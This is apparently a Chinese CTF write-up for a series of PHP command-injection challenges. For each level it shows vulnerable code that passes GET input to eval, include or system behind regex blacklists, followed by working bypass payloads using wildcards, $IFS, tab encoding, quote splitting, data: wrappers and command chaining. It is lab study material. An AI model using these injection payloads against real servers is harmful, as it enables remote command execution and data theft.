web29
payload:?c=system('ls');查看当前文件
?c=system('tac fla*');通过正则表达式绕过preg_match函数,查看内容
我自己是用more和cat试过,发现无法显示,后来发现在源代码中显现但被注释所以无法显示在前端,用tac可以破坏注释结构,直接显示
web30
源码:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:?c=echo `tac *`;
web31
更加严格的过滤方式,可以用上题payload,但要注意这题过滤了空格。所以可以用tab%09,来绕过。
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:?c=echo%09`tac%09*`;
or:?c=passthru("tac%09*");
web32-36
基本可以通过include和php伪代码来实现绕过。
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:?c=include$_POST[a]?>
request:a=php:
or
?c=include$_GET[a]?>&a=php:
## web37
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
payload:?c=data:
web38
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}
payload1:跟上题目一致,将<?php?>改成<??>。后者是php的短标签。
payload2:
?c=data:
web39
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
在原有基础上,加了.php这个后缀。上题payload仍可用。不过要注意的是,不要用短标签形式。
web40&41
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}
关于>/dev/null 2>&1详情可见此博客 基本意思是将所有内容写入一个黑洞,没有显示 可通过; || 来绕过。
payload:?c=tac fla?.php;
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}
payload:?c=tac fla?.php||
or
?c=tac fla?.php%26%26ls
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
姿势多学
payload:?c=tac fla?.php%0a
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多加了个空格,用tab,即%09绕过
?c=tac%09fla?.php||
web46
添加了0-9、$、*
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
上一题payload仍可用
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}
同上
web48、49
同上payload
web50
基本过滤了上几题的方法
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
全新姿势
?c=nl<f''lag.php||
or
?c=tac<fla\g.php||
web51
多加了tac,可用nl来绕过
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl<fla''g.php||
or
?c=ta\c<>fla\g.php||
web52
<>被过滤了,但特意留了个$
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}
在shell中,有一个好用的环境变量$IFS,用于内部字段分隔符。默认是空格符
因为此题flag不在flag.php中,所以可以先查看一下根目录下的文件
?c=ls$IFS/||ls
如图: 确定当前文件夹位置:
?c=pwd$IFS||ls
为此:/var/www/html
所以返回根目录查看
?c=ta\c$IFS../../../fla?||ls
web53
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}
payload:
?c=ta''c${IFS}fla?.php
OR
c''at${IFS}fla''g.p''hp(官方hint)
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
payload:
?c=grep${IFS}show${IFS}fla?.php
or
?c=mv${IFSfla?.php}${IFS}a.txt
再直接查看a.txt内容
持续更新…
|